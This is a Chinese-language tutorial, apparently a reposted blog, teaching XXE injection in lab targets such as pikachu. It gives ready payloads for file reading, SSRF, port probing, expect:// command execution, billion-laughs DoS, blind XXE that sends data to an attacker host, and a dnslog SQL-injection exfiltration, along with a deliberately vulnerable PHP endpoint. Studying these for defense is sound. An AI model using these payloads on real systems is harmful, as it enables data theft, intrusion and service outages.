当前位置:   article > 正文

XEE漏洞学习(史上最详细 包括Linux配置漏洞环境)

xee漏洞

XXE

基础概念

1、xml基础概念

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在显示信息,而XML旨在传输信息。

3、xml示例
<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

XML介绍

1. 文档声明

在编写XML文档时,需要先使用文档声明来声明XML文档。且必须出现在文档的第一行,写在整个xml文档的第一行第一列。

  <?xml version="1.0" encoding="GB2312”standalone="yes”?>

最基本的语法应包括版本的声明<?xml version="1.0"?>,其后的两个属性分别代表文档使用的字符编码,和文档是否依附于其他文档的存在。


2. 元素
XML元素指XML文件中出现的标签。一个标签分为起始和结束标签(不能省略)。一个标签有如下几种书写形式:
(1) 包含标签主体:<mytag>some content</mytag>
(2)不含标签主体:<mytag/>
(3)一个标签中可以嵌套若干子标签,但所有标签必须合理的嵌套,不允许有交叉嵌套。下面的写法是错误的。 		<mytag1><mytag2></mytag1></mytag2>
(4)一个XML文档必须有且仅有一个根标签,其他标签都是这个根标签的子标签或孙标签。
(5)对于XML标签中出现的所有空格和换行,XML解析程序都会当作标签内容进行处理。例如:下面两段内容的意义是不一样的。
<网址>XML文档的基本结构</网址>
<网址> XML文档的基本结构 </网址>

(6)命名规范:
–区分大小写,例如,<P>和<p>是两个不同的标记。
–不能以数字开头。
–不能包含空格。
–名称中间不能包含冒号(:)。

3. 属性。
(1)一个元素可以有多个属性,每个属性都有它自己的名称和取值,
	例 如:<mytag name=“value” …/>
(2)属性值一定要用引号(单引号或双引号)引起来。
(3)属性名称的命名规范与元素的命名规范相同
(4)元素中的属性是不允许重复的
(5)在XML技术中,标签属性所代表的信息也可以被改成用子元素的形式来描述.

e.g.
<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girl age="18">  <!--自定的根元素girl;age属性需要加引号-->
<id>35<id>
<hair>长头发</hair>  <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl>  <!--根元素的闭合-->

4. 注释
	XML中的注释语法为:<!--这是注释-->
	注意:XML声明之前不能有注释;注释不能嵌套。

5. CDATA区
CDATA是Character Data的缩写
作用:把标签当做普通文本内容,不用使用转义字符。
语法:<![CDATA[内容]]>
<![CDATA[
    <电子科技大学>修行小和尚</电子科技大学>
]]>
其中,<电子科技大学>修行小和尚</电子科技大学>会被当做文本,不是标签。

6.处理指令
处理指令,简称PI(Processing Instruction)。
作用:用来指挥软件如何解析XML文档。
语法:必须以“<?”作为开头,以“?>”作为结尾。
常用处理指令:
XML文件声明:<?xml version=“1.0” encoding=“GB2312”?>

上述XML代码基本分为三个部分:

	第一部分是XML的声明;

	第二部分是XML的DTD文档类型定义;

	第三部分是XML语句。

	而外部实体攻击主要利用DTD的外部实体来进行注入的。
	DTD有两种构建方式:内部DTD声明和外部DTD声明

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74

在这里插入图片描述
请添加图片描述
请添加图片描述
请添加图片描述

一些特殊情况

在这里插入图片描述
在这里插入图片描述

默认协议

在这里插入图片描述

扩展协议

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

攻击思路

1. 引用外部实体文件读取,端口探测,SSRF攻击

2. Blind XXE

3. Dos

4.执行系统命令
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

PHP

simplexml_load_string()函数

函数解释

https://www.runoob.com/php/func-simplexml-load-string.html

在这里插入图片描述

案例一(pikachu靶场)

主要利用XML标签

payload

<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpStudy/WWW/1.php" > ]> //xxe为实体名
<abc>&xxe;</abc>  //$xxe实体
  • 1
  • 2
  • 3

在这里插入图片描述

各种不同的payload
输入的内容:利用file协议获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "file:///d:/password.txt">
]>
<note>&hack;</note>


输入的内容:利用php://filter协议获取包含有特殊字符的文件内容(如:<>之类的字符)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "php://filter/read=convert.base64-encode/resource=d:/password.txt">
]>
<note>&hack;</note>


输入的内容:利用http协议获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY hack SYSTEM "http://127.0.0.1/11.txt">
]>
<note>&hack;</note>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

案例二

后端代码

在这里插入图片描述

内网端口检测

在这里插入图片描述

案例三

SSRF攻击
测试代码: 改变端口号进行探测 
进行抓包,在请求主体中加上这些
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://(dnslog地址)或(内网地址)">
]>

<note>&xxe;</note>
用dnslog地址可以知道他的服务器IP,因为谁解析谁执行
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述

案例四

以后需要bool盲注的时候可以试试这个

DNSLOG外带注入(sqli第八关)

my.ini中secure_file_priv=后面为空,为了让load_file into dumpfile into_outfile 都是可以对任意一个文件地址进行读取和写入

后面需要一个向abc这样的目录哪怕没有都可以

payload

http://127.0.0.1/sqlilabs/Less-8/?id=1' union select load_file(concat('//',HEX(USER()),'.iqsvpr.dnslog.cn/zzp')),1,2 --+
				使数据和并,'//'必须为开头,中间为想查询的东西,'第三个是域名加某一个目录前面需要带一个.来进行连接'	这是一个基本格式
  • 1
  • 2

在你提供的 SQL 语句中,存在一些问题和错误,以下是对每部分的解释:

  1. LOAD_FILE(CONCAT('//',HEX(USER()), '.tlhlfc.dnslog.cn/abc')):这部分查询试图使用 MySQL 中的 LOAD_FILE 函数来读取一个文件的内容。具体来说,它构建了一个文件路径,该路径以 '//' 开头,然后是当前用户的用户名(通过 HEX(USER()) 函数获取),最后以 .tlhlfc.dnslog.cn/abc 结尾。这个构建的路径实际上是一个 URL 形式的路径。然后,LOAD_FILE 函数会尝试读取这个 URL 对应的文件内容。

需要注意的是,使用 LOAD_FILE 函数来读取文件内容是一个潜在的安全问题,因为它可能被滥用来读取敏感文件或进行注入攻击。因此,在实际应用中,应该非常小心使用 LOAD_FILE 函数,并确保严格控制允许访问的文件路径。此外,SQL 查询语句中的语法也需要进行调整,以符合标准的 SQL 查询语法。

之后他会带着user经过HEX编码的数据返回到DNSlog.cn

在这里插入图片描述

得到结果

在这里插入图片描述

Blind XXE

在这里插入图片描述

思路:

1. 客户端发送payload 1给web服务器

2. web服务器向攻击者服务器获取恶意DTD,并执行文件读取payload2

3. 攻击者服务器返回payload2给web服务器

4.web服务器执行payload2后带着回显结果访问攻击者服务器上特定的FTP或者HTTP

5. 攻击者访问自己的服务器获取结果

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

在这里插入图片描述

上传到受害者服务器的payload1

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [<!ENTITY % remote SYSTEM
 "http://192.168.3.7:8000/test.xml"> %remote;]> 
<root><xxx>&trick;</xxx></root>
  • 1
  • 2
  • 3
  • 4

上传到自己服务器的payload2

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=d:/password.txt"> 
<!ENTITY % int "<!ENTITY trick SYSTEM 'http://192.168.3.7/jilu.php?v=%payload;'>"> 
%int;
  • 1
  • 2
  • 3

服务器中读取文件的代码

<?php
$link=new PDO("mysql:host=127.0.0.1;dbname=blind xxe",'root','root');
date_default_timezone_set('PRC');
$sql='insert into test (flag) values (:flag)';
$pre = $link->prepare($sql);
$pre->execute([':flag'=>$_GET['v']]);
if ($pre->rowCount()){
    echo '成功添加数据';
}else{
    echo '添加数据失败';
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

步骤如下

这个是先将SYSTEM的php协议读取到的内容赋值给参数实体%payload,
第二步是一个实体嵌套,trick是远程访问http协议所携带的内容

简单来说先将payload1输入到受害者的服务器
自己的服务器需要有一个接受数据的代码
payload1将会请求到咱们的服务器去找payload2,payload2里面填写咱们需要的文件
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

DDOS攻击

在这里插入图片描述

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol10 实体含有 10^9 个 “lol” 字符串,最后再引用lol10。此时服务器加载的字符太多,可能导致崩溃.
  • 1

在centos7安装php

php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用。

环境安装:CentOS7
yum  install  expect				#安装操作系统expect

yum  install  php-devel			#安装 PHP 开发所需文件的软件包

yum  install  tcl				#安装tcl

yum  install  tcl  tcl-devel			#安装 tcl 软件包以及相应的开发文件

yum  install  expect expect-devel		#安装 expect 软件包以及相应的开发文

上传php-expect扩展包,下载地址:https://github.com/spektom/php-expect

unzip   php-expect-master.zip			#解压缩文件

cd  php-expect-master			#进入目录

#执行以下代码进行编译安装
phpize
./configure
make
make install

#修改php配置文件,添加以下内容
到etc目录下修改php.ini
extension=expect.so

#重启服务器
systemctl  restart httpd

安装完成在var/www/html下建一个含有
<?php phpinfo() ?>
<meta charset="utf-8">
的文件,去浏览访问看是否可以查看成功,若可以则安装完成
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

实验

这个实验需要在后端写如下代码,来帮助我们进行xxe注入

<?php
header("content-type:text/html;charset=utf-8");
date_default_timezone_set("PRC");
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);
echo date('Y-m-d H:i:s',time())."\n\r";
echo $xml;
?>

使用bp进行抓包
在请求体中
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "expect://id">
]>
<note>&xxe;</note>
使用该xml标签来获取用户id
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

在这里插入图片描述

该实验还可以和之前的搭配

来读取权限范围内的事情,但是由于我们是apache用户,为系统为服务创建的用户所以权限很小

例如

读取用户信息,但是没有权限读取用户密码,也没有权限进行创建文件

在这里插入图片描述

XXE靶场

任意文件读取

在注册页面填好信息进行抓包,发现请求体中有xml标签,直接确认显示位,使用payload进行注入

在这里插入图片描述

SSRF攻击利用

网址记得加上http://

在这里插入图片描述

使用dnslog来获取服务器IP

在这里插入图片描述

payload

-----------------------任意文件读取-----------------------------
<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource= 目标文件的绝对路径" > ]> 
<abc>&xxe;</abc>

<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "file:///目标文件的绝对路径" > ]> 
<abc>&xxe;</abc>

------------------------命令执行--------------------------------
<?xml version="1.0"?>
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "expect://系统命令" > ]> 
<abc>&xxe;</abc>

------------------------探测端口--------------------------------
<?xml version="1.0"?> 
<!DOCTYPE abc [  <!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<abc>&xxe;</abc>

-------------------------DDOS----------------------------------
<?xml version="1.0"?> 
<!DOCTYPE abc [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]> 
<abc>&lol9;</abc>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [<!ENTITY % remote SYSTEM
 "http://192.168.1.187/test.xml"> %remote;]> 
<root><xxx>&trick;</xxx></root>




<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=c:/phpstudy/PHPTutorial/WWW/a.php"> 
<!ENTITY % int "<!ENTITY trick SYSTEM 'http://192.168.1.187/jilu.php?v=%payload;'>"> 
%int;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/590021
推荐阅读
相关标签
  

闽ICP备14008679号